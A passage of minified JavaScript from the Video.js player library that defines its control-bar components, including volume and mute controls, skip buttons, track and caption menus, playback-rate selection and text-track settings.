Sn{constructor(e,t={}){t.vertical=t.vertical||!1,(void 0===t.volumeBar||Et(t.volumeBar))&&(t.volumeBar=t.volumeBar||{},t.volumeBar.vertical=t.vertical),super(e,t),function(e,t){t.tech_&&!t.tech_.featuresVolumeControl&&e.addClass("vjs-hidden"),e.on(t,"loadstart",(function(){t.tech_.featuresVolumeControl?e.removeClass("vjs-hidden"):e.addClass("vjs-hidden")}))}(this,e),this.throttledHandleMouseMove=nn(tn(this,this.handleMouseMove),30),this.handleMouseUpHandler_=e=>this.handleMouseUp(e),this.on("mousedown",(e=>this.handleMouseDown(e))),this.on("touchstart",(e=>this.handleMouseDown(e))),this.on("mousemove",(e=>this.handleMouseMove(e))),this.on(this.volumeBar,["focus","slideractive"],(()=>{this.volumeBar.addClass("vjs-slider-active"),this.addClass("vjs-slider-active"),this.trigger("slideractive")})),this.on(this.volumeBar,["blur","sliderinactive"],(()=>{this.volumeBar.removeClass("vjs-slider-active"),this.removeClass("vjs-slider-active"),this.trigger("sliderinactive")}))}createEl(){let e="vjs-volume-horizontal";return this.options_.vertical&&(e="vjs-volume-vertical"),super.createEl("div",{className:`vjs-volume-control vjs-control ${e}`})}handleMouseDown(e){const t=this.el_.ownerDocument;this.on(t,"mousemove",this.throttledHandleMouseMove),this.on(t,"touchmove",this.throttledHandleMouseMove),this.on(t,"mouseup",this.handleMouseUpHandler_),this.on(t,"touchend",this.handleMouseUpHandler_)}handleMouseUp(e){const t=this.el_.ownerDocument;this.off(t,"mousemove",this.throttledHandleMouseMove),this.off(t,"touchmove",this.throttledHandleMouseMove),this.off(t,"mouseup",this.handleMouseUpHandler_),this.off(t,"touchend",this.handleMouseUpHandler_)}handleMouseMove(e){this.volumeBar.handleMouseMove(e)}}Qr.prototype.options_={children:["volumeBar"]},Sn.registerComponent("VolumeControl",Qr);class es extends Ir{constructor(e,t){super(e,t),function(e,t){t.tech_&&!t.tech_.featuresMuteControl&&e.addClass("vjs-hidden"),e.on(t,"loadstart",(function(){t.tech_.featuresMuteControl?e.removeClass("vjs-hidden"):e.addClass("vjs-hidden")}))}(this,e),this.on(e,["loadstart","volumechange"],(e=>this.update(e)))}buildCSSClass(){return`vjs-mute-control ${super.buildCSSClass()}`}handleClick(e){const t=this.player_.volume(),i=this.player_.lastVolume_();if(0===t){const e=i<.1?.1:i;this.player_.volume(e),this.player_.muted(!1)}else this.player_.muted(!this.player_.muted())}update(e){this.updateIcon_(),this.updateControlText_()}updateIcon_(){const e=this.player_.volume();let t=3;Xt&&this.player_.tech_&&this.player_.tech_.el_&&this.player_.muted(this.player_.tech_.el_.muted),0===e||this.player_.muted()?t=0:e<.33?t=1:e<.67&&(t=2),ci(this.el_,[0,1,2,3].reduce(((e,t)=>e+`${t?" ":""}vjs-vol-${t}`),"")),ui(this.el_,`vjs-vol-${t}`)}updateControlText_(){const e=this.player_.muted()||0===this.player_.volume()?"Unmute":"Mute";this.controlText()!==e&&this.controlText(e)}}es.prototype.controlText_="Mute",Sn.registerComponent("MuteToggle",es);class ts extends Sn{constructor(e,t={}){void 0!==t.inline?t.inline=t.inline:t.inline=!0,(void 0===t.volumeControl||Et(t.volumeControl))&&(t.volumeControl=t.volumeControl||{},t.volumeControl.vertical=!t.inline),super(e,t),this.handleKeyPressHandler_=e=>this.handleKeyPress(e),this.on(e,["loadstart"],(e=>this.volumePanelState_(e))),this.on(this.muteToggle,"keyup",(e=>this.handleKeyPress(e))),this.on(this.volumeControl,"keyup",(e=>this.handleVolumeControlKeyUp(e))),this.on("keydown",(e=>this.handleKeyPress(e))),this.on("mouseover",(e=>this.handleMouseOver(e))),this.on("mouseout",(e=>this.handleMouseOut(e))),this.on(this.volumeControl,["slideractive"],this.sliderActive_),this.on(this.volumeControl,["sliderinactive"],this.sliderInactive_)}sliderActive_(){this.addClass("vjs-slider-active")}sliderInactive_(){this.removeClass("vjs-slider-active")}volumePanelState_(){this.volumeControl.hasClass("vjs-hidden")&&this.muteToggle.hasClass("vjs-hidden")&&this.addClass("vjs-hidden"),this.volumeControl.hasClass("vjs-hidden")&&!this.muteToggle.hasClass("vjs-hidden")&&this.addClass("vjs-mute-toggle-only")}createEl(){let e="vjs-volume-panel-horizontal";return this.options_.inline||(e="vjs-volume-panel-vertical"),super.createEl("div",{className:`vjs-volume-panel vjs-control ${e}`})}dispose(){this.handleMouseOut(),super.dispose()}handleVolumeControlKeyUp(e){l().isEventKey(e,"Esc")&&this.muteToggle.focus()}handleMouseOver(e){this.addClass("vjs-hover"),Ji(a(),"keyup",this.handleKeyPressHandler_)}handleMouseOut(e){this.removeClass("vjs-hover"),Gi(a(),"keyup",this.handleKeyPressHandler_)}handleKeyPress(e){l().isEventKey(e,"Esc")&&this.handleMouseOut()}}ts.prototype.options_={children:["muteToggle","volumeControl"]},Sn.registerComponent("VolumePanel",ts),Sn.registerComponent("SkipForward",class extends Ir{constructor(e,t){super(e,t),this.validOptions=[5,10,30],this.skipTime=this.getSkipForwardTime(),this.skipTime&&this.validOptions.includes(this.skipTime)?(this.controlText(this.localize("Skip forward {1} seconds",[this.skipTime])),this.show()):this.hide()}getSkipForwardTime(){const e=this.options_.playerOptions;return e.controlBar&&e.controlBar.skipButtons&&e.controlBar.skipButtons.forward}buildCSSClass(){return`vjs-skip-forward-${this.getSkipForwardTime()} ${super.buildCSSClass()}`}handleClick(e){const t=this.player_.currentTime(),i=this.player_.liveTracker,n=i&&i.isLive()?i.seekableEnd():this.player_.duration();let r;r=t+this.skipTime<=n?t+this.skipTime:n,this.player_.currentTime(r)}handleLanguagechange(){this.controlText(this.localize("Skip forward {1} seconds",[this.skipTime]))}});class is extends Ir{constructor(e,t){super(e,t),this.validOptions=[5,10,30],this.skipTime=this.getSkipBackwardTime(),this.skipTime&&this.validOptions.includes(this.skipTime)?(this.controlText(this.localize("Skip backward {1} seconds",[this.skipTime])),this.show()):this.hide()}getSkipBackwardTime(){const e=this.options_.playerOptions;return e.controlBar&&e.controlBar.skipButtons&&e.controlBar.skipButtons.backward}buildCSSClass(){return`vjs-skip-backward-${this.getSkipBackwardTime()} ${super.buildCSSClass()}`}handleClick(e){const t=this.player_.currentTime(),i=this.player_.liveTracker,n=i&&i.isLive()&&i.seekableStart();let r;r=n&&t-this.skipTime<=n?n:t>=this.skipTime?t-this.skipTime:0,this.player_.currentTime(r)}handleLanguagechange(){this.controlText(this.localize("Skip backward {1} seconds",[this.skipTime]))}}is.prototype.controlText_="Skip Backward",Sn.registerComponent("SkipBackward",is);class ns extends Sn{constructor(e,t){super(e,t),t&&(this.menuButton_=t.menuButton),this.focusedChild_=-1,this.on("keydown",(e=>this.handleKeyDown(e))),this.boundHandleBlur_=e=>this.handleBlur(e),this.boundHandleTapClick_=e=>this.handleTapClick(e)}addEventListenerForItem(e){e instanceof Sn&&(this.on(e,"blur",this.boundHandleBlur_),this.on(e,["tap","click"],this.boundHandleTapClick_))}removeEventListenerForItem(e){e instanceof Sn&&(this.off(e,"blur",this.boundHandleBlur_),this.off(e,["tap","click"],this.boundHandleTapClick_))}removeChild(e){"string"==typeof e&&(e=this.getChild(e)),this.removeEventListenerForItem(e),super.removeChild(e)}addItem(e){const t=this.addChild(e);t&&this.addEventListenerForItem(t)}createEl(){const e=this.options_.contentElType||"ul";this.contentEl_=si(e,{className:"vjs-menu-content"}),this.contentEl_.setAttribute("role","menu");const t=super.createEl("div",{append:this.contentEl_,className:"vjs-menu"});return t.appendChild(this.contentEl_),Ji(t,"click",(function(e){e.preventDefault(),e.stopImmediatePropagation()})),t}dispose(){this.contentEl_=null,this.boundHandleBlur_=null,this.boundHandleTapClick_=null,super.dispose()}handleBlur(e){const t=e.relatedTarget||a().activeElement;if(!this.children().some((e=>e.el()===t))){const e=this.menuButton_;e&&e.buttonPressed_&&t!==e.el().firstChild&&e.unpressButton()}}handleTapClick(e){if(this.menuButton_){this.menuButton_.unpressButton();const t=this.children();if(!Array.isArray(t))return;const i=t.filter((t=>t.el()===e.target))[0];if(!i)return;"CaptionSettingsMenuItem"!==i.name()&&this.menuButton_.focus()}}handleKeyDown(e){l().isEventKey(e,"Left")||l().isEventKey(e,"Down")?(e.preventDefault(),e.stopPropagation(),this.stepForward()):(l().isEventKey(e,"Right")||l().isEventKey(e,"Up"))&&(e.preventDefault(),e.stopPropagation(),this.stepBack())}stepForward(){let e=0;void 0!==this.focusedChild_&&(e=this.focusedChild_+1),this.focus(e)}stepBack(){let e=0;void 0!==this.focusedChild_&&(e=this.focusedChild_-1),this.focus(e)}focus(e=0){const t=this.children().slice();t.length&&t[0].hasClass("vjs-menu-title")&&t.shift(),t.length>0&&(e<0?e=0:e>=t.length&&(e=t.length-1),this.focusedChild_=e,t[e].el_.focus())}}Sn.registerComponent("Menu",ns);class rs extends Sn{constructor(e,t={}){super(e,t),this.menuButton_=new Ir(e,t),this.menuButton_.controlText(this.controlText_),this.menuButton_.el_.setAttribute("aria-haspopup","true");const i=Ir.prototype.buildCSSClass();this.menuButton_.el_.className=this.buildCSSClass()+" "+i,this.menuButton_.removeClass("vjs-control"),this.addChild(this.menuButton_),this.update(),this.enabled_=!0;const n=e=>this.handleClick(e);this.handleMenuKeyUp_=e=>this.handleMenuKeyUp(e),this.on(this.menuButton_,"tap",n),this.on(this.menuButton_,"click",n),this.on(this.menuButton_,"keydown",(e=>this.handleKeyDown(e))),this.on(this.menuButton_,"mouseenter",(()=>{this.addClass("vjs-hover"),this.menu.show(),Ji(a(),"keyup",this.handleMenuKeyUp_)})),this.on("mouseleave",(e=>this.handleMouseLeave(e))),this.on("keydown",(e=>this.handleSubmenuKeyDown(e)))}update(){const e=this.createMenu();this.menu&&(this.menu.dispose(),this.removeChild(this.menu)),this.menu=e,this.addChild(e),this.buttonPressed_=!1,this.menuButton_.el_.setAttribute("aria-expanded","false"),this.items&&this.items.length<=this.hideThreshold_?(this.hide(),this.menu.contentEl_.removeAttribute("role")):(this.show(),this.menu.contentEl_.setAttribute("role","menu"))}createMenu(){const e=new ns(this.player_,{menuButton:this});if(this.hideThreshold_=0,this.options_.title){const t=si("li",{className:"vjs-menu-title",textContent:wn(this.options_.title),tabIndex:-1}),i=new Sn(this.player_,{el:t});e.addItem(i)}if(this.items=this.createItems(),this.items)for(let t=0;t<this.items.length;t++)e.addItem(this.items[t]);return e}createItems(){}createEl(){return super.createEl("div",{className:this.buildWrapperCSSClass()},{})}buildWrapperCSSClass(){let e="vjs-menu-button";return!0===this.options_.inline?e+="-inline":e+="-popup",`vjs-menu-button ${e} ${Ir.prototype.buildCSSClass()} ${super.buildCSSClass()}`}buildCSSClass(){let e="vjs-menu-button";return!0===this.options_.inline?e+="-inline":e+="-popup",`vjs-menu-button ${e} ${super.buildCSSClass()}`}controlText(e,t=this.menuButton_.el()){return this.menuButton_.controlText(e,t)}dispose(){this.handleMouseLeave(),super.dispose()}handleClick(e){this.buttonPressed_?this.unpressButton():this.pressButton()}handleMouseLeave(e){this.removeClass("vjs-hover"),Gi(a(),"keyup",this.handleMenuKeyUp_)}focus(){this.menuButton_.focus()}blur(){this.menuButton_.blur()}handleKeyDown(e){l().isEventKey(e,"Esc")||l().isEventKey(e,"Tab")?(this.buttonPressed_&&this.unpressButton(),l().isEventKey(e,"Tab")||(e.preventDefault(),this.menuButton_.focus())):(l().isEventKey(e,"Up")||l().isEventKey(e,"Down"))&&(this.buttonPressed_||(e.preventDefault(),this.pressButton()))}handleMenuKeyUp(e){(l().isEventKey(e,"Esc")||l().isEventKey(e,"Tab"))&&this.removeClass("vjs-hover")}handleSubmenuKeyPress(e){this.handleSubmenuKeyDown(e)}handleSubmenuKeyDown(e){(l().isEventKey(e,"Esc")||l().isEventKey(e,"Tab"))&&(this.buttonPressed_&&this.unpressButton(),l().isEventKey(e,"Tab")||(e.preventDefault(),this.menuButton_.focus()))}pressButton(){if(this.enabled_){if(this.buttonPressed_=!0,this.menu.show(),this.menu.lockShowing(),this.menuButton_.el_.setAttribute("aria-expanded","true"),Xt&&ni())return;this.menu.focus()}}unpressButton(){this.enabled_&&(this.buttonPressed_=!1,this.menu.unlockShowing(),this.menu.hide(),this.menuButton_.el_.setAttribute("aria-expanded","false"))}disable(){this.unpressButton(),this.enabled_=!1,this.addClass("vjs-disabled"),this.menuButton_.disable()}enable(){this.enabled_=!0,this.removeClass("vjs-disabled"),this.menuButton_.enable()}}Sn.registerComponent("MenuButton",rs);class ss extends rs{constructor(e,t){const i=t.tracks;if(super(e,t),this.items.length<=1&&this.hide(),!i)return;const n=tn(this,this.update);i.addEventListener("removetrack",n),i.addEventListener("addtrack",n),i.addEventListener("labelchange",n),this.player_.on("ready",n),this.player_.on("dispose",(function(){i.removeEventListener("removetrack",n),i.removeEventListener("addtrack",n),i.removeEventListener("labelchange",n)}))}}Sn.registerComponent("TrackButton",ss);const as=["Tab","Esc","Up","Down","Right","Left"];class os extends xr{constructor(e,t){super(e,t),this.selectable=t.selectable,this.isSelected_=t.selected||!1,this.multiSelectable=t.multiSelectable,this.selected(this.isSelected_),this.selectable?this.multiSelectable?this.el_.setAttribute("role","menuitemcheckbox"):this.el_.setAttribute("role","menuitemradio"):this.el_.setAttribute("role","menuitem")}createEl(e,t,i){this.nonIconControl=!0;const n=super.createEl("li",Object.assign({className:"vjs-menu-item",tabIndex:-1},t),i);return n.replaceChild(si("span",{className:"vjs-menu-item-text",textContent:this.localize(this.options_.label)}),n.querySelector(".vjs-icon-placeholder")),n}handleKeyDown(e){as.some((t=>l().isEventKey(e,t)))||super.handleKeyDown(e)}handleClick(e){this.selected(!0)}selected(e){this.selectable&&(e?(this.addClass("vjs-selected"),this.el_.setAttribute("aria-checked","true"),this.controlText(", selected"),this.isSelected_=!0):(this.removeClass("vjs-selected"),this.el_.setAttribute("aria-checked","false"),this.controlText(""),this.isSelected_=!1))}}Sn.registerComponent("MenuItem",os);class ls extends os{constructor(e,t){const i=t.track,n=e.textTracks();t.label=i.label||i.language||"Unknown",t.selected="showing"===i.mode,super(e,t),this.track=i,this.kinds=(t.kinds||[t.kind||this.track.kind]).filter(Boolean);const s=(...e)=>{this.handleTracksChange.apply(this,e)},o=(...e)=>{this.handleSelectedLanguageChange.apply(this,e)};if(e.on(["loadstart","texttrackchange"],s),n.addEventListener("change",s),n.addEventListener("selectedlanguagechange",o),this.on("dispose",(function(){e.off(["loadstart","texttrackchange"],s),n.removeEventListener("change",s),n.removeEventListener("selectedlanguagechange",o)})),void 0===n.onchange){let e;this.on(["tap","click"],(function(){if("object"!=typeof r().Event)try{e=new(r().Event)("change")}catch(e){}e||(e=a().createEvent("Event"),e.initEvent("change",!0,!0)),n.dispatchEvent(e)}))}this.handleTracksChange()}handleClick(e){const t=this.track,i=this.player_.textTracks();if(super.handleClick(e),i)for(let e=0;e<i.length;e++){const n=i[e];-1!==this.kinds.indexOf(n.kind)&&(n===t?"showing"!==n.mode&&(n.mode="showing"):"disabled"!==n.mode&&(n.mode="disabled"))}}handleTracksChange(e){const t="showing"===this.track.mode;t!==this.isSelected_&&this.selected(t)}handleSelectedLanguageChange(e){if("showing"===this.track.mode){const e=this.player_.cache_.selectedLanguage;if(e&&e.enabled&&e.language===this.track.language&&e.kind!==this.track.kind)return;this.player_.cache_.selectedLanguage={enabled:!0,language:this.track.language,kind:this.track.kind}}}dispose(){this.track=null,super.dispose()}}Sn.registerComponent("TextTrackMenuItem",ls);class us extends ls{constructor(e,t){t.track={player:e,kind:t.kind,kinds:t.kinds,default:!1,mode:"disabled"},t.kinds||(t.kinds=[t.kind]),t.label?t.track.label=t.label:t.track.label=t.kinds.join(" and ")+" off",t.selectable=!0,t.multiSelectable=!1,super(e,t)}handleTracksChange(e){const t=this.player().textTracks();let i=!0;for(let e=0,n=t.length;e<n;e++){const n=t[e];if(this.options_.kinds.indexOf(n.kind)>-1&&"showing"===n.mode){i=!1;break}}i!==this.isSelected_&&this.selected(i)}handleSelectedLanguageChange(e){const t=this.player().textTracks();let i=!0;for(let e=0,n=t.length;e<n;e++){const n=t[e];if(["captions","descriptions","subtitles"].indexOf(n.kind)>-1&&"showing"===n.mode){i=!1;break}}i&&(this.player_.cache_.selectedLanguage={enabled:!1})}handleLanguagechange(){this.$(".vjs-menu-item-text").textContent=this.player_.localize(this.options_.label),super.handleLanguagechange()}}Sn.registerComponent("OffTextTrackMenuItem",us);class cs extends ss{constructor(e,t={}){t.tracks=e.textTracks(),super(e,t)}createItems(e=[],t=ls){let i;this.label_&&(i=`${this.label_} off`),e.push(new us(this.player_,{kinds:this.kinds_,kind:this.kind_,label:i})),this.hideThreshold_+=1;const n=this.player_.textTracks();Array.isArray(this.kinds_)||(this.kinds_=[this.kind_]);for(let i=0;i<n.length;i++){const r=n[i];if(this.kinds_.indexOf(r.kind)>-1){const i=new t(this.player_,{track:r,kinds:this.kinds_,kind:this.kind_,selectable:!0,multiSelectable:!1});i.addClass(`vjs-${r.kind}-menu-item`),e.push(i)}}return e}}Sn.registerComponent("TextTrackButton",cs);class ds extends os{constructor(e,t){const i=t.track,n=t.cue,r=e.currentTime();t.selectable=!0,t.multiSelectable=!1,t.label=n.text,t.selected=n.startTime<=r&&r<n.endTime,super(e,t),this.track=i,this.cue=n}handleClick(e){super.handleClick(),this.player_.currentTime(this.cue.startTime)}}Sn.registerComponent("ChaptersTrackMenuItem",ds);class hs extends cs{constructor(e,t,i){super(e,t,i),this.selectCurrentItem_=()=>{this.items.forEach((e=>{e.selected(this.track_.activeCues[0]===e.cue)}))}}buildCSSClass(){return`vjs-chapters-button ${super.buildCSSClass()}`}buildWrapperCSSClass(){return`vjs-chapters-button ${super.buildWrapperCSSClass()}`}update(e){if(e&&e.track&&"chapters"!==e.track.kind)return;const t=this.findChaptersTrack();t!==this.track_?(this.setTrack(t),super.update()):(!this.items||t&&t.cues&&t.cues.length!==this.items.length)&&super.update()}setTrack(e){if(this.track_!==e){if(this.updateHandler_||(this.updateHandler_=this.update.bind(this)),this.track_){const e=this.player_.remoteTextTrackEls().getTrackElementByTrack_(this.track_);e&&e.removeEventListener("load",this.updateHandler_),this.track_.removeEventListener("cuechange",this.selectCurrentItem_),this.track_=null}if(this.track_=e,this.track_){this.track_.mode="hidden";const e=this.player_.remoteTextTrackEls().getTrackElementByTrack_(this.track_);e&&e.addEventListener("load",this.updateHandler_),this.track_.addEventListener("cuechange",this.selectCurrentItem_)}}}findChaptersTrack(){const e=this.player_.textTracks()||[];for(let t=e.length-1;t>=0;t--){const i=e[t];if(i.kind===this.kind_)return i}}getMenuCaption(){return this.track_&&this.track_.label?this.track_.label:this.localize(wn(this.kind_))}createMenu(){return this.options_.title=this.getMenuCaption(),super.createMenu()}createItems(){const e=[];if(!this.track_)return e;const t=this.track_.cues;if(!t)return e;for(let i=0,n=t.length;i<n;i++){const n=t[i],r=new ds(this.player_,{track:this.track_,cue:n});e.push(r)}return e}}hs.prototype.kind_="chapters",hs.prototype.controlText_="Chapters",Sn.registerComponent("ChaptersButton",hs);class ps extends cs{constructor(e,t,i){super(e,t,i);const n=e.textTracks(),r=tn(this,this.handleTracksChange);n.addEventListener("change",r),this.on("dispose",(function(){n.removeEventListener("change",r)}))}handleTracksChange(e){const t=this.player().textTracks();let i=!1;for(let e=0,n=t.length;e<n;e++){const n=t[e];if(n.kind!==this.kind_&&"showing"===n.mode){i=!0;break}}i?this.disable():this.enable()}buildCSSClass(){return`vjs-descriptions-button ${super.buildCSSClass()}`}buildWrapperCSSClass(){return`vjs-descriptions-button ${super.buildWrapperCSSClass()}`}}ps.prototype.kind_="descriptions",ps.prototype.controlText_="Descriptions",Sn.registerComponent("DescriptionsButton",ps);class fs extends cs{constructor(e,t,i){super(e,t,i)}buildCSSClass(){return`vjs-subtitles-button ${super.buildCSSClass()}`}buildWrapperCSSClass(){return`vjs-subtitles-button ${super.buildWrapperCSSClass()}`}}fs.prototype.kind_="subtitles",fs.prototype.controlText_="Subtitles",Sn.registerComponent("SubtitlesButton",fs);class ms extends ls{constructor(e,t){t.track={player:e,kind:t.kind,label:t.kind+" settings",selectable:!1,default:!1,mode:"disabled"},t.selectable=!1,t.name="CaptionSettingsMenuItem",super(e,t),this.addClass("vjs-texttrack-settings"),this.controlText(", opens "+t.kind+" settings dialog")}handleClick(e){this.player().getChild("textTrackSettings").open()}handleLanguagechange(){this.$(".vjs-menu-item-text").textContent=this.player_.localize(this.options_.kind+" settings"),super.handleLanguagechange()}}Sn.registerComponent("CaptionSettingsMenuItem",ms);class gs extends cs{constructor(e,t,i){super(e,t,i)}buildCSSClass(){return`vjs-captions-button ${super.buildCSSClass()}`}buildWrapperCSSClass(){return`vjs-captions-button ${super.buildWrapperCSSClass()}`}createItems(){const e=[];return this.player().tech_&&this.player().tech_.featuresNativeTextTracks||!this.player().getChild("textTrackSettings")||(e.push(new ms(this.player_,{kind:this.kind_})),this.hideThreshold_+=1),super.createItems(e)}}gs.prototype.kind_="captions",gs.prototype.controlText_="Captions",Sn.registerComponent("CaptionsButton",gs);class _s extends ls{createEl(e,t,i){const n=super.createEl(e,t,i),r=n.querySelector(".vjs-menu-item-text");return"captions"===this.options_.track.kind&&(r.appendChild(si("span",{className:"vjs-icon-placeholder"},{"aria-hidden":!0})),r.appendChild(si("span",{className:"vjs-control-text",textContent:` ${this.localize("Captions")}`}))),n}}Sn.registerComponent("SubsCapsMenuItem",_s);class vs extends cs{constructor(e,t={}){super(e,t),this.label_="subtitles",["en","en-us","en-ca","fr-ca"].indexOf(this.player_.language_)>-1&&(this.label_="captions"),this.menuButton_.controlText(wn(this.label_))}buildCSSClass(){return`vjs-subs-caps-button ${super.buildCSSClass()}`}buildWrapperCSSClass(){return`vjs-subs-caps-button ${super.buildWrapperCSSClass()}`}createItems(){let e=[];return this.player().tech_&&this.player().tech_.featuresNativeTextTracks||!this.player().getChild("textTrackSettings")||(e.push(new ms(this.player_,{kind:this.label_})),this.hideThreshold_+=1),e=super.createItems(e,_s),e}}vs.prototype.kinds_=["captions","subtitles"],vs.prototype.controlText_="Subtitles",Sn.registerComponent("SubsCapsButton",vs);class ys extends os{constructor(e,t){const i=t.track,n=e.audioTracks();t.label=i.label||i.language||"Unknown",t.selected=i.enabled,super(e,t),this.track=i,this.addClass(`vjs-${i.kind}-menu-item`);const r=(...e)=>{this.handleTracksChange.apply(this,e)};n.addEventListener("change",r),this.on("dispose",(()=>{n.removeEventListener("change",r)}))}createEl(e,t,i){const n=super.createEl(e,t,i),r=n.querySelector(".vjs-menu-item-text");return"main-desc"===this.options_.track.kind&&(r.appendChild(si("span",{className:"vjs-icon-placeholder"},{"aria-hidden":!0})),r.appendChild(si("span",{className:"vjs-control-text",textContent:" "+this.localize("Descriptions")}))),n}handleClick(e){if(super.handleClick(e),this.track.enabled=!0,this.player_.tech_.featuresNativeAudioTracks){const e=this.player_.audioTracks();for(let t=0;t<e.length;t++){const i=e[t];i!==this.track&&(i.enabled=i===this.track)}}}handleTracksChange(e){this.selected(this.track.enabled)}}Sn.registerComponent("AudioTrackMenuItem",ys);class bs extends ss{constructor(e,t={}){t.tracks=e.audioTracks(),super(e,t)}buildCSSClass(){return`vjs-audio-button ${super.buildCSSClass()}`}buildWrapperCSSClass(){return`vjs-audio-button ${super.buildWrapperCSSClass()}`}createItems(e=[]){this.hideThreshold_=1;const t=this.player_.audioTracks();for(let i=0;i<t.length;i++){const n=t[i];e.push(new ys(this.player_,{track:n,selectable:!0,multiSelectable:!1}))}return e}}bs.prototype.controlText_="Audio Track",Sn.registerComponent("AudioTrackButton",bs);class ws extends os{constructor(e,t){const i=t.rate,n=parseFloat(i,10);t.label=i,t.selected=n===e.playbackRate(),t.selectable=!0,t.multiSelectable=!1,super(e,t),this.label=i,this.rate=n,this.on(e,"ratechange",(e=>this.update(e)))}handleClick(e){super.handleClick(),this.player().playbackRate(this.rate)}update(e){this.selected(this.player().playbackRate()===this.rate)}}ws.prototype.contentElType="button",Sn.registerComponent("PlaybackRateMenuItem",ws);class Ts extends rs{constructor(e,t){super(e,t),this.menuButton_.el_.setAttribute("aria-describedby",this.labelElId_),this.updateVisibility(),this.updateLabel(),this.on(e,"loadstart",(e=>this.updateVisibility(e))),this.on(e,"ratechange",(e=>this.updateLabel(e))),this.on(e,"playbackrateschange",(e=>this.handlePlaybackRateschange(e)))}createEl(){const e=super.createEl();return this.labelElId_="vjs-playback-rate-value-label-"+this.id_,this.labelEl_=si("div",{className:"vjs-playback-rate-value",id:this.labelElId_,textContent:"1x"}),e.appendChild(this.labelEl_),e}dispose(){this.labelEl_=null,super.dispose()}buildCSSClass(){return`vjs-playback-rate ${super.buildCSSClass()}`}buildWrapperCSSClass(){return`vjs-playback-rate ${super.buildWrapperCSSClass()}`}createItems(){const e=this.playbackRates(),t=[];for(let i=e.length-1;i>=0;i--)t.push(new ws(this.player(),{rate:e[i]+"x"}));return t}handlePlaybackRateschange(e){this.update()}playbackRates(){const e=this.player();return e.playbackRates&&e.playbackRates()||[]}playbackRateSupported(){return this.player().tech_&&this.player().tech_.featuresPlaybackRate&&this.playbackRates()&&this.playbackRates().length>0}updateVisibility(e){this.playbackRateSupported()?this.removeClass("vjs-hidden"):this.addClass("vjs-hidden")}updateLabel(e){this.playbackRateSupported()&&(this.labelEl_.textContent=this.player().playbackRate()+"x")}}Ts.prototype.controlText_="Playback Rate",Sn.registerComponent("PlaybackRateMenuButton",Ts);class ks extends Sn{buildCSSClass(){return`vjs-spacer ${super.buildCSSClass()}`}createEl(e="div",t={},i={}){return t.className||(t.className=this.buildCSSClass()),super.createEl(e,t,i)}}Sn.registerComponent("Spacer",ks),Sn.registerComponent("CustomControlSpacer",class extends ks{buildCSSClass(){return`vjs-custom-control-spacer ${super.buildCSSClass()}`}createEl(){return super.createEl("div",{className:this.buildCSSClass(),textContent:" "})}});class Ss extends Sn{createEl(){return super.createEl("div",{className:"vjs-control-bar",dir:"ltr"})}}Ss.prototype.options_={children:["playToggle","skipBackward","skipForward","volumePanel","currentTimeDisplay","timeDivider","durationDisplay","progressControl","liveDisplay","seekToLive","remainingTimeDisplay","customControlSpacer","playbackRateMenuButton","chaptersButton","descriptionsButton","subsCapsButton","audioTrackButton","fullscreenToggle"]},"exitPictureInPicture"in a()&&Ss.prototype.options_.children.splice(Ss.prototype.options_.children.length-1,0,"pictureInPictureToggle"),Sn.registerComponent("ControlBar",Ss);class Ms extends Hn{constructor(e,t){super(e,t),this.on(e,"error",(e=>this.open(e)))}buildCSSClass(){return`vjs-error-display ${super.buildCSSClass()}`}content(){const e=this.player().error();return e?this.localize(e.message):""}}Ms.prototype.options_=Object.assign({},Hn.prototype.options_,{pauseOnOpen:!1,fillAlways:!0,temporary:!1,uncloseable:!0}),Sn.registerComponent("ErrorDisplay",Ms);const xs="vjs-text-track-settings",Ls=["#000","Black"],Cs=["#00F","Blue"],Ds=["#0FF","Cyan"],Es=["#0F0","Green"],Ps=["#F0F","Magenta"],As=["#F00","Red"],Is=["#FFF","White"],Os=["#FF0","Yellow"],Ys=["1","Opaque"],$s=["0.5","Semi-Transparent"],js=["0","Transparent"],Ns={backgroundColor:{selector:".vjs-bg-color > select",id:"captions-background-color-%s",label:"Color",options:[Ls,Is,As,Es,Cs,Os,Ps,Ds]},backgroundOpacity:{selector:".vjs-bg-opacity > select",id:"captions-background-opacity-%s",label:"Opacity",options:[Ys,$s,js]},color:{selector:".vjs-text-color > select",id:"captions-foreground-color-%s",label:"Color",options:[Is,Ls,As,Es,Cs,Os,Ps,Ds]},edgeStyle:{selector:".vjs-edge-style > select",id:"%s",label:"Text Edge Style",options:[["none","None"],["raised","Raised"],["depressed","Depressed"],["uniform","Uniform"],["dropshadow","Dropshadow"]]},fontFamily:{selector:".vjs-font-family > select",id:"captions-font-family-%s",label:"Font Family",options:[["proportionalSansSerif","Proportional Sans-Serif"],["monospaceSansSerif","Monospace Sans-Serif"],["proportionalSerif","Proportional Serif"],["monospaceSerif","Monospace Serif"],["casual","Casual"],["script","Script"],["small-caps","Small Caps"]]},fontPercent:{selector:".vjs-font-percent > select",id:"captions-font-size-%s",label:"Font Size",options:[["0.50","50%"],["0.75","75%"],["1.00","100%"],["1.25","125%"],["1.50","150%"],["1.75","175%"],["2.00","200%"],["3.00","300%"],["4.00","400%"]],default:2,parser:e=>"1.00"===e?null:Number(e)},textOpacity:{selector:".vjs-text-opacity > select",id:"captions-foreground-opacity-%s",label:"Opacity",options:[Ys,$s]},windowColor:{selector:".vjs-window-color > select",id:"captions-window-color-%s",label:"Color"},windowOpacity:{selector:".vjs-window-opacity > select",id:"captions-window-opacity-%s",label:"Opacity",options:[js,$s,Ys]}};function Rs(e,t){if(t&&(e=t(e)),e&&"none"!==e)return e}Ns.windowColor.options=Ns.backgroundColor.options,Sn.registerComponent("TextTrackSettings",class extends Hn{constructor(e,t){t.temporary=!1,super(e,t),this.updateDisplay=this.updateDisplay.bind(this),this.fill(),this.hasBeenOpened_=this.hasBeenFilled_=!0,this.endDialog=si("p",{className:"vjs-control-text",textContent:this.localize("End of dialog window.")}),this.el().appendChild(this.endDialog),this.setDefaults(),void 0===t.persistTextTrackSettings&&(this.options_.persistTextTrackSettings=this.options_.playerOptions.persistTextTrackSettings),this.on(this.$(".vjs-done-button"),"click",(()=>{this.saveSettings(),this.close()})),this.on(this.$(".vjs-default-button"),"click",(()=>{this.setDefaults(),this.updateDisplay()})),Lt(Ns,(e=>{this.on(this.$(e.selector),"change",this.updateDisplay)})),this.options_.persistTextTrackSettings&&this.restoreSettings()}dispose(){this.endDialog=null,super.dispose()}createElSelect_(e,t="",i="label"){const n=Ns[e],r=n.id.replace("%s",this.id_),s=[t,r].join(" ").trim();return[`<${i} id="${r}" class="${"label"===i?"vjs-label":""}">`,this.localize(n.label),`</${i}>`,`<select 